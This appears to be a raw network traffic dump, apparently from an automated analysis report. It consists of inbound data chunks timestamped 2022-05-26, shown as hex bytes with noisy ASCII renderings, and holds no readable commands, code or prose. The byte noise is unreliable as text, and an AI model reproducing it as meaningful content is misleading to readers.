aa f6 a4 43 02 dc 37 bf a6 ba 86 29 ed db b0 e4 50 f8 9a 69 14 fe 1c 06 3a 31 74 fb aa da 7a 90 17 0b 41 75 27 69 2d bb 
2a 14 36 60 29 d7 5a 52 a3 e6 e1 4c 61 64 ea a5 db 77 db e1 2a 06 ba db 83 31 8d f5 7d 30 4e a0 09 27 51 27 9f 3c 3a 
65 e6 be 29 fb 09 68 cf ad d4 52 2a db 94 48 85 00 90 12 4e 95 e2 b4 f1 3f 1c 74 f8 5a d6 67 b3 bc 20 85 ec 57 03 4b 59 
c9 1a 39 27 a5 85 35 b1 19 56 9f 86 98 ac 6d 7c c9 bf f8 af de 20 3b 98 bd c1 71 6c a0 ac 65 e3 7e a0 0d 35 8e 74 38 da 
8f 0d 6d cf 55 fd 22 d0 d6 b1 8a 48 a4 0e ea ec d2 67 46 cf 49 34 1f 66 43 1c 79 2c 9a 85 c8 4c ba 78 ee 43 cb da 23 41 
a3 0e 14 c8 67 e7 5c 67 57 58 52 23 ff d7 f2 3d fb 7e 7d aa 
Data Ascii: ):qx4h Tf2CC7)Pi:1tzAu'i-*6`)ZRLadw*1}0N'Q'<:e)hR*HN?tZg WKY9'5Vm| ;qle~5t8mU"HgFI4fCy,L
xC#Ag\gWXR#=~}

2022-05-26 11:46:49 UTC 7433 IN Data Raw: 8e 19 19 6c d2 e4 85 96 34 76 5a d6 a3 3a f1 20 61 d7 23 af 06 d1 5e 59 6a 4d 26 7a 11 2a a0 e6 33 a7 9d 3c 
b1 0e ab bc c9 e3 15 c5 d8 8c 68 b8 52 10 a9 a1 a5 2a 40 27 cf 9e 0a d2 78 0b cb 29 b4 5b 41 18 ed ab 19 09 00 ad 6a 
01 3f 2e 34 bb b4 eb c0 cd d6 0f ff d0 f3 f8 9a f4 1e cd ac 71 ad a4 6c a5 16 94 1a 40 ea 1e 3e 78 fc 4d aa f1 b3 7b 9c cf 
ac f1 90 54 d3 98 0f ea 4c f1 46 b4 22 a4 73 e4 3c 40 18 ca b5 dd c1 26 0c cf b8 b9 b0 dd 67 9e d6 09 3b a1 68 0a b1 d2 
49 02 af f0 cf 1d 35 a5 f1 a5 66 a3 ed f5 0a 0c e5 f6 16 d0 cc 97 32 a3 c3 28 15 68 e3 7c 89 f2 61 53 4c 74 bf f2 39 35 aa 
8b 2e db 23 44 74 92 d9 5a b5 81 92 64 d1 08 1d 41 d8 64 06 59 fc 71 e5 ac 96 df 0b 57 dc 5b 66 5d df b7 ed de e5 77 
0e d8 92 68 c0 ed 84 e9 a9 a6 40 91 d3 4f 8e 3a e9 d4 bd 
Data Ascii: l4vZ: a#^YjM&z*3<hR*@'x)[Aj?.4ql@>xM{TLF"s<@&g;hI5f2(h|aSLt95.#DtZdAdYqW[f]wh@O:

2022-05-26 11:46:49 UTC 7449 IN Data Raw: 59 6c 5c 31 8c ae b9 10 d6 a4 13 ce 82 bd 3e 03 d3 8e 8a e5 cb 7b 2b ae 3c 13 39 dd f5 90 db 4d b3 68 31 88 
e2 46 70 32 4a c7 a9 6a c0 9f 53 71 6f dd 8c 2f 97 24 cb f6 eb 1f 67 61 a7 f7 13 a1 96 76 3d bf 6b be 4b 87 9e 55 b8 9a 42 
47 56 47 4a d4 82 28 46 91 4c eb e3 8e bf ee 2f 92 8e a9 2d b5 5f 7f e2 62 ef 21 d7 c6 db 70 9d 64 69 dd f4 14 6e df 6c 
be 7f 2d 00 00 7a a8 df 87 1c f8 f7 51 44 25 33 ac c7 af d3 88 a0 d4 8a 26 9e 03 24 dd a9 9e ac 75 a1 00 10 a4 8e 07 9e 
39 1d a1 c2 9a f7 32 93 39 5d cf dc bb b4 70 b2 db 58 37 72 b9 a2 a8 a1 1a bd 20 e6 a4 94 f2 a0 e7 8f 63 0f 4b 8d b9 b5 
f4 fd df b4 d6 d5 66 a6 db b9 46 b1 44 7e 95 ad a4 91 59 c4 4e 00 21 43 50 9a 72 07 1c 79 71 39 7e 2d c9 42 dc 63 2f 80 
2d cf ba 22 b3 bb 16 f7 fd a2 f2 85 3a 35 06 45 51 5d 
Data Ascii: Yl\1>{+<9Mh1Fp2JjSqo/$gav=kKUBGVGJ(FL/-_b!pdinl-zQD%3&$u929]pX7r cKfFD~YN!CPryq9~-Bc/-":5EQ]

2022-05-26 11:46:49 UTC 7465 IN Data Raw: 49 83 bb 54 03 76 c2 77 94 e9 68 63 a1 8d 69 cd 41 1e 3d 3a b9 e3 44 be 9f 0c 7c cf e2 66 a9 36 31 db 60 b7 
99 16 2b 65 8f 5b ad 41 6e 82 54 50 37 99 5c f9 57 96 29 65 76 5a da 7e ff 00 46 6c a9 da 42 0b 69 6c a6 90 c0 86 5b b0 
59 3a 5a 8b 97 02 c5 ba ab a8 f3 3c 32 c3 b5 95 d2 97 15 d3 d1 18 df 18 55 85 9b 41 71 f5 57 f1 a2 39 0e 23 31 f5 34 6b 
91 20 91 f9 b5 63 1c 97 dd 5d b4 6f 96 e9 f9 bd 14 19 d7 42 7b 8e ed b7 da db 97 ba 72 b1 35 16 a4 90 dd 46 95 ae 54 cb 
d3 89 c5 86 f6 b4 55 6b f6 68 37 69 33 ae b7 3b 2d 9a c5 26 d6 54 6b d2 92 4e da c9 24 69 3a 47 a9 80 06 ad 8e aa 62 
b6 5b c4 72 d5 55 47 7e bd 84 26 c0 cf be 20 8a da 37 b5 31 c9 dd 2a c1 42 ea 24 2b 00 6a 52 ac 5b e6 a1 5c 6f ff 00 e3 
db b3 56 95 1d fd df 9b 90 9c 8f 0f bc e1 dc ee d3 6f db 88 
Data Ascii: ITvwhciA=:D|f61`+e[AnTP7\W)evZ~FlBil[Y:Z<2UAqW9#14k c]oB{r5FTUkh7i3;-&TkN$i:Gb[rUG~& 71*
B$+jR[\oVo

2022-05-26 11:46:49 UTC 7472 IN Data Raw: 35 c7 4b ab 5a ed 55 fd 5c ff 00 ab e2 32 4e 39 11 fa eb 38 23 78 6c 06 9b 85 e2 b3 6a 04 81 c4 d5 cf 57 96 78 
7e 5d ac e6 ff 00 0f e5 ff 00 c4 7b 5b 29 db e4 dc af 98 49 72 d1 98 98 d3 b6 46 7c 0e 95 2d e9 66 07 d3 d5 c3 1a 65 54 
a6 95 99 ed f4 d4 97 e0 7a 9c ef b9 fd 9d 7b bb df 41 28 dc be 96 33 5d 11 2a 54 b5 3d 79 b1 cc 90 7f 97 1e 9f 49 d7 57 
15 1a d9 bf b6 d3 fd 26 6e d3 c0 d8 d9 b6 8b dd b2 dd e2 bb bc 17 30 c6 06 65 1a 32 a0 03 55 20 9c eb 4c bf cb 1c 59 f3 
57 23 4e b5 da df 7e e9 2a 8d 1a 37 16 f7 0f 01 16 f2 2a b8 1d 2c 40 65 15 cb 51 00 e7 4c 72 d6 c9 3d 51 b6 87 2f b8 fb 
6b 6b 96 eb b1 b8 5e b9 b8 a2 48 0b 05 a0 34 2b d0 d9 e9 e3 a9 80 cb d3 5c 7a f8 ba bc 8a b3 4a ad ba d7 9f fa 97 d9 ef 
31 6d 23 7a 28 a0 8d 16 da 2b 96 99 d4 28 66 ee 50 8f 
Data Ascii: 5KZU\2N98#xljWx~]{[)IrF|-feTz{A(3]*T=yIW&n0e2U LYW#N~*7*,@eQLr=Q/kk^H4+\zJ1m#z(+(fP

2022-05-26 11:46:49 UTC 7488 IN Data Raw: d2 e2 75 b5 bb 86 4b 63 22 2b 24 9d a2 54 b5 2a 43 50 65 ab f0 f1 c6 19 3a 3c 75 5b aa d5 a1 ea a4 aa 9b 56 
56 64 21 85 9a a3 a9 99 5d 83 13 52 49 26 9c 2a 49 cb f6 63 83 25 f5 9f bb 43 b2 97 da 01 bf 16 68 12 3b 7d 31 3c 40 b2 
2a 95 a6 7d 3a 89 e3 a4 d4 af 48 c7 4f 4f c5 bb 6b 3c 78 fa e3 d7 cf 53 9a cd b6 65 cb bf d9 de dd 7f 4f 43 3c 33 05 59 04 
91 29 d3 ab c1 b2 26 8b cf c7 1d 8b a6 b5 2b bd ed b2 d5 6d b7 18 12 c6 cd 16 8f 7c 90 2a c6 d1 84 a1 f9 a8 cc 7f 19 a0 
d4 3f d3 8e 54 f1 2e 33 fb 3f 2f f1 1e c8 27 71 67 bd aa c1 d8 bb 35 88 12 e1 d1 8e ba 82 b4 cb 21 91 39 f8 e2 6b 7c 5a cd
78 f0 86 bc 26 43 59 58 cb 64 8d 23 4c f2 42 01 60 b2 46 14 8a 0a e9 57 f0 f0 f1 e7 e3 87 93 22 bb 88 49 f7 3f c0 d6 96 d8
68 6b 8a e1 62 93 50 58 98 2b 8a 16 0e 49 cc 0a 
Data Ascii: uKc"+$T*CPe:<u[VVd!]RI&*Ic%Ch;}1<@*}:HOOk<xSeOC<3Y)&+m|*?T.3?/'qg5!9k|Zx&CYXd#LB`FW"I?hk
bPX+I

2022-05-26 11:46:49 UTC 7504 IN Data Raw: a1 87 a9 a6 24 d6 d4 e7 8c 98 bc 45 f6 e6 5d a1 4d c5 e8 92 79 28 75 bc 6a e4 1a 66 32 63 42 df ca bd 58 ce 
d1 97 c3 58 af 73 8f 4f 78 ac a0 23 6f de 06 ed 29 89 12 58 58 80 ca 24 46 04 ab 03 43 40 28 2b f8 75 1a 7c d8 9c 9d 3f 
95 c5 a7 de 99 b6 37 da 5f fd 3b 71 8d 81 92 51 2c 1a 74 94 ed 8e 07 e5 3c eb e7 cf 05 ad 8d 2d 38 fa d9 7b 6a b9 99 f7 
52 ec d6 b7 90 d8 dc 43 17 7e 40 da 1b 42 e4 7f 07 02 75 37 1c 55 16 5b 55 de ad c2 ef 7e ff 00 52 39 ed 6a a7 06 e2 84 
d0 53 a1 57 21 52 74 8c f8 0a 1f 1c 70 39 93 6d d5 04 b8 b6 98 47 d9 b7 74 b7 e3 a4 00 17 80 e7 98 ae 59 e3 6a d9 4c 
da 6c 67 6a 54 17 69 db 37 1b 36 11 b1 9a 50 aa 4b 19 40 24 96 3e b5 2b c3 f9 34 fc 31 db 91 57 2a 95 b5 7e 9e ce cf fc 
8d e9 87 99 a7 3d c7 d0 44 f7 13 31 48 e2 52 f5 61 a4 1a 78 
Data Ascii: $E]My(ujf2cBXXsOx#o)XX$FC@(+u|?7_;qQ,t<-8{jRC~@Bu7U[U~R9jSW!Rtp9mGtYjLlgjTi76PK@$>+41W*~
=D1HRax

2022-05-26 11:46:49 UTC 7512 IN Data Raw: a5 6f d2 a2 96 12 39 06 80 53 a9 c2 d4 92 b4 c7 3d 30 3a bd b3 fa b5 8d b5 fb 94 84 94 ed fe f3 dd ee 6f e3 b3 
b4 b3 72 8d 18 d4 9a 48 2a 57 23 ea 0a a3 5f 2c 69 97 a1 c7 5a 3b 5a dc f8 fa 6b e1 34 4e 0e e4 4f 3c f0 1a 6a b6 99 45 
0b 1d 04 a6 5c aa 48 a0 c7 cf ed 49 fd 4b db a8 de 66 cc eb dd e6 7b 53 a6 08 a4 96 ef 4d 2a a0 29 cc 7a ab e9 e3 f1 c7 
4e 3c 0a dc 5a ad 7d fe ce d0 4e 4a b6 1f 71 5d ee 2a 96 b7 96 e6 39 9a 20 c5 d3 e6 1e 92 18 8f 43 6a 19 8f 56 34 ea 7a 
5a e3 f1 55 ca 9e 1e 9c 51 aa 35 22 db ed 6d 89 92 15 3d 6e 58 90 da 89 34 d3 42 6b e9 5a 7a 71 c6 f2 da da 3e 4b f7 fa 
32 d6 86 7d fe d8 c1 0b ed 22 15 bd 7d 2a ce cc 03 05 07 3c 86 b6 ad 38 10 6b 8e 9c 79 79 64 9d 8b 97 29 ff 00 49 93 5a 
8a fb da d1 ef 0e 23 bd 9d 8a 50 80 b1 12 83 57 15 62 
Data Ascii: o9S=0:orH*W#_,iZ;Zk4NO<jE\HIKf{SM*)zN<Z}NJq]*9 CjV4zZUQ5"m=nX4BkZzq>K2}"}*<8kyyd)IZ#PWb

2022-05-26 11:46:49 UTC 7528 IN Data Raw: 11 f4 ac 08 ed 05 5c c0 d2 48 a7 4b a9 fe 66 4f 0c 65 96 de 53 97 5f 8b ea 9b 7f 07 f6 9d b8 6b da 74 ed 67 1c 
b1 a2 92 64 28 6a ba 99 94 0e 59 8e 18 f2 55 9c e9 a4 fa 8f 41 51 10 79 e1 b6 63 6f 15 bb bc 67 49 66 0a 19 6a 4d 38 71 
24 71 c0 aa ed ab b2 39 af 57 25 ae ed 04 61 d0 48 7e 52 10 28 a0 f1 03 4f ab ee c4 25 2e 1c 7b 7f 89 83 c7 3c 0a 23 b4 
b5 23 bd 4a ca 79 cf 93 54 78 f0 27 fc 65 8d 1d ed c3 97 e4 25 e3 68 8b 59 5b 5f db ea 9b b3 32 f3 0a ad 40 c3 8e 95 39 
0f dd 86 af 6a 3d 26 be ee 1d ec 75 86 60 1b 6d 93 61 6a c7 6c ca 49 a9 d5 1f 71 9b 4d 49 00 f4 d0 e7 d2 cb d5 5c b1 e9 
6f cb 9b 8d be dd a9 4f a7 a8 8b 63 67 41 67 6f 14 f6 46 4d bc 3d bc b2 a0 2a ee a4 94 a8 fc 24 82 b4 c7 9b 7b 3a da 2f 
16 49 f0 5f 37 b4 6d 20 64 da a7 44 76 9a fa a1 9e a0 
Data Ascii: \HKfOeS_ktgd(jYUAQycogIfjM8q$q9W%aH~R(O%.{<##JyTx'e%hY[_2@9j=&u`majlIqMI\oOcgAgoFM=*${:/
I_7m dDv

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 7544 IN Data Raw: 0a d5 2b ab a3 4d 00 d4 c7 37 fc 5e af 0c 68 f0 bc cf 54 e9 da e7 4e 3f 37 fd 44 9c 95 43 ef 2a 5e 37 75 7b 64 
b2 99 15 85 34 c6 17 36 24 11 cc ae 5e af c3 c7 17 6e 87 c3 a6 bf 4f 7d a7 87 a7 b4 b3 6c 7b 96 c6 1b f9 a2 9f b8 22 d0 
8e 83 4b 1a f0 2c 03 71 5e 23 5e a0 8b 41 9e 38 3f b5 bb a2 6a 26 5a 7c 3d 9f f8 f1 64 49 11 3d b8 93 fe cc 9d 0f 09 76 
93 55 54 77 1b 2e 9f c2 05 7a e8 70 f6 b8 f1 72 b4 6d e7 e1 5d bd bf 94 24 e7 65 f7 8c db 2d ed 2e 8b 7d 3b 06 51 20 45 
ac 88 a0 d1 d5 b3 f1 d2 7a 69 d2 ba 49 c7 a6 ba 15 9a be 1f 8b 4d 27 e1 7f 4b 06 db 23 17 ba 25 de 03 18 a0 64 89 54 
37 72 94 21 86 66 84 8a 29 af 92 d7 ab f9 70 df 48 b1 71 72 fb 3d 38 fd a0 8d 8d a7 de 96 b1 6d 31 4f 7b 45 91 9f 4a 75 
64 c4 e4 59 4f 4a f8 96 d5 d3 f6 f4 e3 8b 37 41 67 91 aa 
Data Ascii: +M7^hTN?7DC*^7u{d46$^nO}l{"K,q^#^A8?j&Z|=dI=vUTw.zprm]$e-.};Q EziIM'K#%dT7r!f)pHqr=8m1O{
EJudYOJ7Ag

2022-05-26 11:46:49 UTC 7552 IN Data Raw: 23 20 1e 24 13 c4 ea f0 5a 53 1f 71 fe 2b a4 56 a3 b5 a1 ef e3 2d 58 cf 56 76 de ce f7 ec 1e f3 85 6d ee 10 43 
74 a5 43 c8 56 8a 58 fe 13 9d 08 3e af f8 e3 c3 eb 3f c6 be 96 d2 9c d5 f0 d7 87 ac e9 a7 89 c3 25 ee cd 9f 7b ba b8 d3 
6b 77 16 88 c7 e9 db 0a 2c 84 02 03 55 e8 7a b4 d7 f7 e1 74 b9 b1 51 78 aa fb f2 7c be ee c0 b5 75 0f 7f 72 45 b4 5a 88 
e2 32 49 22 10 88 af 1b 99 35 56 a0 33 01 a4 90 72 c7 22 e9 5e 5b 4b 84 9e ae 1a db ec 47 2b 5a 9e 69 b8 fb a3 7b 97 
74 6b 68 93 44 e1 96 45 b6 0a 44 8e 32 6e 39 d1 95 45 59 bc 2b 5c 7d 5e 2e 8f 12 c7 2f 55 ad 77 fc b5 e5 f6 8f 6e 86 14 
df dc 45 9a 7e fb c4 cc 80 64 a5 98 51 d4 1d 34 23 a6 82 be 19 f3 c7 a1 5f f1 90 a2 7f f5 e6 4e d3 6f d8 9b cb 6f 77 82 ce 
da 51 6a 82 39 09 42 4e 60 d7 48 d7 a7 3e bd 2c 73 e1 
Data Ascii: # $ZSq+V-XVvmCtCVX>?%{kw,UztQx|urEZ2I"5V3r"^[KG+Zi{tkhDED2n9EY+\}^./UwnE~dQ4#_NoowQj9BN`
H>,s

2022-05-26 11:46:49 UTC 7568 IN Data Raw: 52 35 02 23 75 20 a0 ff 00 71 d4 8f b5 59 b5 69 f4 ae 3e 7a fd 46 4c 95 70 95 3b 7e af d3 5f dd 07 33 6d 81 6e 
12 5f 49 6b 25 fe cf 66 ad 23 36 89 04 a4 80 c9 c8 47 9a a6 9a f5 1a f1 3e 3c 31 be 25 45 65 4c b6 d2 25 6d e5 6f cd c6 
d2 25 5e d3 6a d3 70 ba b4 8a 38 6f 47 65 dc aa 2a 46 51 b4 d4 56 8d a3 48 04 91 97 2f 3c 70 5f 15 6c db a7 8b 9c b9 d7 
d5 21 a7 23 40 34 c2 39 1e 59 16 25 08 74 b8 ab 1a 93 4c 85 7f c3 63 9a 14 a4 94 f7 1a 49 85 bb 5e 6e 1b 4f fd ed b5 db 
dd c0 b5 0c 8a 82 67 d5 5c b5 e6 3b 62 9f 97 fc f1 e8 e1 c7 4c be 1b 55 51 f6 ce ca fb 3e af 79 75 a4 83 fb 66 5b cd c6 de 
49 f7 40 8b 2c d2 f7 20 40 59 4a 87 1a a8 7e 52 df 90 6b f3 c6 9d 5a ae 3b 25 8e 62 aa 2c f4 73 b7 4f 5c 7e 6d 08 f8 4d db 
ff 00 6d c5 ba 14 59 84 87 49 d4 11 58 a2 9a 7e 
Data Ascii: R5#u qYi>zFLp;~_3mn_Ik%f#6G><1%EeL%mo%^jp8oGe*FQVH/<p_l!#@49Y%tLcI^nOg\;bLUQ>yuf[I@, 
@YJ~RkZ;%b,sO\~mMmYIX~

2022-05-26 11:46:49 UTC 7584 IN Data Raw: 7e 6d 29 9e 37 ab a5 b4 f2 f7 77 da c7 a5 5b 2b 1d 6d 9f f6 db de 17 30 23 ed 56 d3 c8 cc 85 c5 c5 c5 42 1a 
0e 65 80 5e 3e 1e ae 14 c7 4d 7a 7b 64 f9 1d 6a fd 9a 1b ed 76 50 8e 52 3d e5 ec 67 3b 6d fe e1 6d 2e e6 80 a3 c5 90 1a 
c5 7a 43 03 ea f2 39 57 1c d6 e9 ed 47 ba b4 b5 6b 3c 78 98 2b 3a b8 07 9a cf 70 b9 b9 48 d2 78 8b 1e a3 18 50 c5 80 1f 
8d 6b 4d 1f 8b 11 e6 d1 27 66 9f ea 98 ff 00 4f 79 39 2b 3a 98 c7 d9 db bd dd d3 5d 77 e0 37 25 d8 92 8c 5d 0c 40 74 86 
8b a6 ae 1b 8b ea ae 78 ed fe fb 15 69 b6 2d 1d fe 1f 17 ea fc 0e 45 55 c0 e9 76 ed ae 5d ae d9 5a e5 2a 61 34 08 82 ba 
8d 32 0b a8 96 ff 00 4f 0c 73 67 55 b6 b3 f1 7a 72 3d 0d bb 54 13 8a e6 e6 e5 9e 43 63 fa 19 05 45 60 8d 5e 2d 56 a5 2a 
07 d9 8c 2b 8e a9 46 ed 7b 7f 70 ab c3 88 22 6c 31 41 21 
Data Ascii: ~m)7w[+m0#VBe^>Mz{djvPR=g;mm.zC9WGk<x+:pHxPkM'fOy9+:]w7%]@txi-EUv]Z*a42OsgUzr=TCcE`^-V*+
F{p"l1A!

2022-05-26 11:46:49 UTC 7592 IN Data Raw: 1d f6 db 35 52 8d 08 65 5a e9 12 2a d3 e2 68 3c b1 ba cd 7e df 71 e9 d6 d2 85 69 be 6d 96 8e b0 d8 6d 17 0b 
29 e2 d4 40 b5 e0 1b c3 0b 26 0c 97 53 7c 95 8f 6f b8 c2 db 98 43 7b 89 4d cc a0 d9 ba 08 b3 ae a2 51 fe 14 e1 43 88 af 
4e d5 54 59 6b dd ad 41 3b 22 10 ef cd b9 68 17 76 6d 1c 9a 9e a8 49 00 20 a1 53 a8 fa eb 9f 21 4c 16 e9 bc bf 86 d3 c3 
df cf d4 67 55 64 3e f3 ee 68 76 7b 24 9e 4b 58 51 c8 62 15 9b a8 53 d2 14 53 32 fc b9 62 70 74 8f 2d a1 5a dc bd 3f 94 
e3 be e6 e3 53 32 d7 de 97 9b d2 aa 6d 4a d0 5b 64 ac ae a2 8a 46 6c a4 12 4b 0f bb 1d 76 e8 2b 89 ff 00 f4 f1 5b bb 9f 
79 a6 2c 6e 4d a0 67 24 4a 11 99 80 cb 8d 09 19 f8 36 38 dd 23 46 7a 90 04 ab 65 75 0b db 5f 59 a4 10 8a bb 94 6d 4e 
72 cc 80 39 ff 00 8a 63 5f 15 5e ea 59 d9 f2 95 a1 cd e5 be 
Data Ascii: 5ReZ*h<~qimm)@&S|oC{MQCNTYkA;"hvmI S!LgUd>hv{$KXQbSS2bpt-Z?S2mJ[dFlKv+[y,nMg$J
68#Fzeu_YmNr9c_^Y

2022-05-26 11:46:49 UTC 7608 IN Data Raw: cb 5b 98 77 af d4 86 59 e4 42 73 75 50 16 87 c4 2f 15 f8 e3 cf bd 1e 2d 1a aa ee fe 27 7e 1b 94 dc 6c 92 6d 
b2 ac 71 dc cd 0c 0a 0b ac 71 00 4d 4d 07 51 24 fd d8 d2 bd 42 c8 a5 d5 59 f0 9b 7e 01 6c b1 c0 07 71 b7 b8 b9 9e 58 77 
2b 95 3b 34 a4 07 40 0d 74 81 5e 55 21 eb c5 bc 31 d1 8a d5 aa 4e 95 ff 00 ea b8 7a ff 00 ea 6e b5 52 67 6d 9b 1e c9 67 
70 67 db ac e3 d2 83 42 cc d2 33 6a f1 28 1b 31 4f c5 8e cc 9d 46 5b 28 bd b8 fc b0 b4 f5 c1 b6 1a f3 66 c1 b6 b4 ba 99 
1e 43 22 69 a8 e9 3d 3a 4f 10 75 1a 69 38 e1 77 b5 53 88 0c b6 8d 43 f4 c4 b0 17 86 44 91 55 b4 fa c3 15 3e 19 66 71 85 
6e e6 1a 89 d7 80 f1 e5 4f 42 b8 9e 44 90 04 00 02 73 52 29 5a f8 57 1a 5f 81 d1 60 2d d6 7d 9a 2b b5 b3 de 9e 48 2e 38 
aa f7 0a ae 62 a3 31 fb 31 78 ab 95 d7 76 34 ac bd 47 9f 
Data Ascii: [wYBsuP/-'~lmqqMMQ$BY~lqXw+;4@t^U!1NznRgmgpgB3j(1OF[(fC"i=:Oui8wSCDU>fqnOBDsR)ZW_`-}+H.8
b11xv4G

2022-05-26 11:46:49 UTC 7624 IN Data Raw: c1 8f ea 69 af df 5f 0c 6d 8f 25 68 8c 15 5d 8d 3d df fb d3 7a e9 1d ea c7 59 d8 b9 ee 39 3a 33 1d 25 3c 3a 72 
c7 9c ed 6b 33 d4 ad 12 3d 9f fb 70 cf ee ad a2 db 75 df 94 4e d3 2e a8 d2 4e 04 2b 55 49 1f 36 8e 55 fe 6c 75 61 ed b6 
bd 87 1e 5e 30 8f 57 6b 98 a0 8b 55 cb af 48 ad 01 a6 67 80 c7 ab 30 b5 38 fd 46 7c 37 90 5e ce b3 2c da e3 5a e9 55 61 
a4 b7 16 a9 1f 87 19 2b 26 f8 8d d4 1e f7 dc 0b 1d 06 bd 20 92 08 34 a0 a7 26 f8 f2 6c 2b e5 1a a9 97 3b db ee 8b a2 51 
1b c4 0f 5a bd 28 3c 1b 3f 3c 73 bf 11 ad 5c 1e 49 ee af 69 1d db 7f 10 4c 23 b5 1d bd 46 e0 02 6a b5 a0 e0 42 b7 1e 27 
d3 8e 2c b5 83 6a b9 e0 71 7b 87 b1 36 8b ab 9f a5 b8 dc 25 78 d5 e8 fa 51 74 c8 16 9a b4 37 49 5f 0d 59 f1 c6 1e 6b 5a 
26 6c ab cc fa 3a c2 1b 19 2c a1 8f 6b d4 96 a1 14 22 
Data Ascii: i_m%h]=zY9:3%<:rk3=puN.N+UI6Ulua^0WkUHg08F|7^,ZUa+& 4&l+;QZ(<?<s\IiL#FjB',jq{6%xQt7I_YkZ&l:,k"

2022-05-26 11:46:49 UTC 7627 IN Data Raw: 12 d4 07 48 26 a4 0a 81 96 67 ab e1 8e 9c 58 1c 6b e1 14 49 62 5d 9d 4b 14 99 30 51 31 15 24 ae ae 03 f3 30 
fc 3c 33 c4 3a 73 5f a7 d7 fb 06 87 bf ba b5 8f b1 73 74 a1 d2 32 65 27 48 a8 21 7c 0f 50 f2 ff 00 8e 1e 3a 59 cd 6b a3 7a 
1b 48 34 9b f1 b9 b7 6b a8 61 57 b7 d4 1d 16 80 37 8f a6 ba 99 87 33 cb 1a d7 a6 da e1 bd 78 32 50 df d7 66 b9 8c ac 29 
c4 21 91 99 7d 43 56 91 9b 0e 02 99 d3 d3 83 fb 75 57 ab ed 8e ed 3b 84 db 2e 8e 69 fb ce 54 6a ee 51 51 40 00 1c f2 55 
ae 9a d3 99 f9 b1 9b aa 8f 57 1f db cc 82 32 5d 35 bc aa 8a ab 57 25 9b 48 c8 68 f5 16 1e 9f 56 4b 8b d9 b9 4b 7e 8c a2 
e3 20 bf 06 68 a4 0b 2e a1 5d 39 e9 e4 c4 8f 13 4e 15 c6 51 b3 46 b4 f4 82 84 f1 46 fa 62 95 3b 85 9b 5a be 82 08 00 78 
e5 5f 2c 35 76 96 9a 7b 4a 4c 1e ea e6 d6 ec 07 12 f6 
Data Ascii: H&gXkIb]K0Q1$0<3:s_st2e'H!|P:YkzH4kaW73x2Pf)!}CVuW;.iTjQQ@UW2]5W%HhVKK~ h.]9NQFFb;Zx_,5v
{JL

2022-05-26 11:46:49 UTC 7643 IN Data Raw: 9d 0e 1a d7 dc 32 2b dc bc ef a1 91 ea 5a b4 d2 38 65 e4 79 e3 9b 22 d4 e9 ac 24 7c b7 bb 5f c8 db eb dc ca 
ed 26 89 38 93 a8 e9 07 21 53 e5 8f ae c7 49 c7 1d a8 e3 6f c4 7b b7 f7 9f 70 3b ac f0 5f c2 47 6e 6d ba d9 81 1c 32 4a 
10 3f 97 d3 8f 98 e9 78 eb da 75 e4 7a 1d 9f f6 eb dd 3e da fe dd ff 00 6f a6 92 3b 8f ff 00 3f ee dd 33 30 6d 3d 98 22 34 
48 eb ea ab 9f d4 6e 47 a4 72 c6 ce d2 d9 97 0e 27 83 7b a7 dd b6 fe e4 f7 3a c9 0d 4c 48 15 01 f1 21 b5 33 65 e2 4e 3d 
15 8a cb 1c b2 1d a5 9b 32 dd 29 be 2c aa 4a c4 8f e7 a8 91 4f fe ac 78 ce 91 5f 5b 46 f5 7a 9e d1 ed ed ea 6d 97 6a 81 
b5 51 94 ea fb 00 35 fb c0 cf 1e 1f 3d 0f 41 bd 05 17 bc 21 b5 f7 5c 48 86 b7 09 6f 24 8a 9c 48 50 a1 47 c3 89 c7 a3 7a 3f 
2a 7b d1 cd 8e de 23 d7 7d 97 bf 4f b4 49 ba cf 03 
Data Ascii: 2+Z8ey"$|_&8!SIo{p;_Gnm2J?xuz>o;?30m="4HnGr'{:LH!3eN=2),JOx_[FzmjQ5=A!\Ho$HPGz?*{#}OI

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 7659 IN Data Raw: c7 56 ae 9d 38 d2 d2 b8 b9 25 b2 13 4c 52 05 9a 8c 14 b2 55 0a 7e a1 6e 06 ac 4e 7e 23 86 30 5a f8 74 f5 f2 
06 cb 2d ee 0a 83 af 53 c7 5a 2b 82 45 38 f2 6a 57 3c 64 e9 cd 68 34 cb 53 52 a4 95 6e a5 4a 6b 24 50 0e 2d 51 e3 fb 47 
8e 2d db 93 19 65 ce de d3 dc aa bc cc 0d 3a 4d 40 51 55 f0 a3 16 a7 01 5e 7c 30 a9 6a f0 d3 d6 e4 87 a9 9e 6d 6e 1e 44 
a3 b6 88 33 5a 35 5b 50 ea ee 36 40 2f 31 96 35 59 34 8f e1 1f 4a 2a 01 4a ee 02 54 9c 6b d1 1a 30 34 50 41 cf 2e 04 d3 
87 57 a8 e2 d6 d8 6b b7 bc 61 4d 7b 75 0a 29 91 a3 68 5a 20 19 87 53 e9 6f 53 33 0a af a8 f4 aa fa b8 84 18 a5 b6 cf 49 
ac 69 dd ee 2a 00 60 b9 b8 79 1c 22 aa 97 07 39 09 cc 0a 0c cd 38 b7 87 aa be 9f 1c 2b 52 bc dc c7 a7 68 9a 93 5c dc 
5b 08 f4 c3 4a b7 a9 2a 4b c7 e2 68 a3 ee 6c f1 cd b7 b7 de 
Data Ascii: V8%LRU~nN~#0Zt-SZ+E8jW<dh4SRnJk$P-QG-e:M@QU^|0jmnD3Z5[P6@/15Y4J*JTk04PA.WkaM{u)hZ 
SoS3Ii*`y"98+Rh\[J*Khl

2022-05-26 11:46:49 UTC 7667 IN Data Raw: 49 a1 2d 4c a9 9f e1 1c 4f 3a 62 71 f8 9c b5 c3 94 1a 41 90 db 45 85 94 90 6e 15 eb e2 ac 84 29 53 21 04 0d 
3c 1b 3d 35 af 55 33 c7 a2 f2 da cb 6f 2f fa 8a 0d db 47 ec 01 32 10 19 d4 18 ea a0 c8 41 39 f4 80 02 d4 01 4f cb 4d 58 e1 
6b 6f b3 89 a1 33 75 03 dd 0b 66 89 6a a9 dc 5a ae 92 a1 a8 08 ca a4 9d 47 e1 8c 2d 47 5f 12 6f 8f ef 25 b0 09 20 86 c0 
47 1c 34 d3 10 d4 7a e8 c6 9d 4b a9 86 b2 41 e7 92 af ec c6 b5 bb b3 97 cf bb 4f 76 9f 89 9b 91 fe a1 8b 09 a0 45 5e 83 
41 c4 83 4e ad 3e 1a 7f 77 2c 28 8d 1b e7 e9 ef 1b 64 da e2 4d 1a 19 ab 13 a8 79 03 0a e9 d4 6a a8 6a 03 6a e9 ae 5f 0e 
